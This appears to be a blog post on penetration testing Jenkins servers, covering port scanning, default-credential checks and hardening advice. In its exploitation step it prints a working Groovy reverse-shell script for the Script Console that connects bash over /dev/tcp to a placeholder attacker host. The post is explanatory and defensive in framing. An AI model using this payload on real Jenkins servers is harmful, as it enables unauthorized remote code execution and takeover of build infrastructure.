Jenkins Servers: Identifying Vulnerabilities and Exploiting Unauthenticated Access with Groovy Scrip

Jenkins is a popular open-source automation server used for continuous integration and continuous delivery (CI/CD) pipelines. However, like any software, Jenkins can have vulnerabilities that need to be identified and addressed to maintain a secure environment. In this blog post, we'll explore the penetration testing of Jenkins servers, identifying vulnerabilities, and exploiting unauthenticated access using Groovy scripts. We'll provide a real-time example and detailed commands to illustrate these concepts.

Penetration Testing Jenkins Servers

Before conducting penetration testing, ensure you have proper authorization and consent to test the Jenkins server.

Step 1: Reconnaissance

1. Identify the Jenkins Server: Determine the target Jenkins server's IP address or domain.

2. Port Scanning: Use tools like Nmap or Masscan to scan for open ports. Jenkins typically runs on port 8080.

   nmap -p 8080 <target_IP>

Step 2: Identifying Vulnerabilities

1. Access Jenkins Web Interface: Open a web browser and navigate to http://<target_IP>:8080.

2. Check for Default Credentials: Attempt to log in with default credentials (if not changed by the administrator). Common defaults are:

   • Username: admin

   • Password: admin

3. Scan for Plugins: Use the "Plugin Manager" in the Jenkins dashboard to identify outdated or vulnerable plugins. Update or remove vulnerable plugins.

Step 3: Exploiting Unauthenticated Access with Groovy Script

In some cases, Jenkins may have unauthenticated access enabled, which can lead to unauthorized code execution using Groovy scripts.

Example: Using Groovy Script for Reverse Shell

Suppose you discover an unauthenticated Jenkins server. Here's an example of how an attacker might use a Groovy script to execute a reverse shell:

1. Create a Reverse Shell Groovy Script:

   def cmd = "/bin/bash"
   def host = "attacker_IP"
   def port = 4444
   
   def proc = cmd.execute()
   def os = new BufferedOutputStream(proc.outputStream)
   def p = new ProcessBuilder("bash", "-c", "exec 5<>/dev/tcp/${host}/${port};cat <&5 | while read line; do $line 2>&5 >&5; done").redirectErrorStream(true).start()
   p.waitForProcessOutput(os, System.err)

2. Execute the Groovy Script: If unauthenticated access is enabled, navigate to the "Script Console" in Jenkins.

3. Paste the Script: Paste the Groovy script into the "Script Console" and execute it. This will establish a reverse shell connection to the attacker's machine.

Detecting and Preventing Attacks

Detecting and preventing attacks on Jenkins servers involve:

1. Monitoring Jenkins Logs: Regularly check Jenkins logs for suspicious activities, unauthorized access, or unusual scripts.

2. Authentication and Authorization: Enforce strong authentication and authorization mechanisms, and change default credentials.

3. Update Jenkins and Plugins: Keep Jenkins and its plugins up-to-date to patch known vulnerabilities.

4. Disable Unauthenticated Access: Ensure that unauthenticated access to Jenkins is disabled.

5. Firewall Rules: Implement firewall rules to restrict access to Jenkins only from trusted sources.

6. Security Auditing: Conduct regular security audits and penetration tests to identify and mitigate vulnerabilities.

Penetration testing Jenkins servers is crucial to identify and address security vulnerabilities. By following the steps outlined in this blog post, you can assess the security of your Jenkins server, discover potential weaknesses, and take steps to protect your CI/CD pipeline from potential threats. Always remember to obtain proper authorization before conducting penetration tests and adhere to ethical hacking guidelines.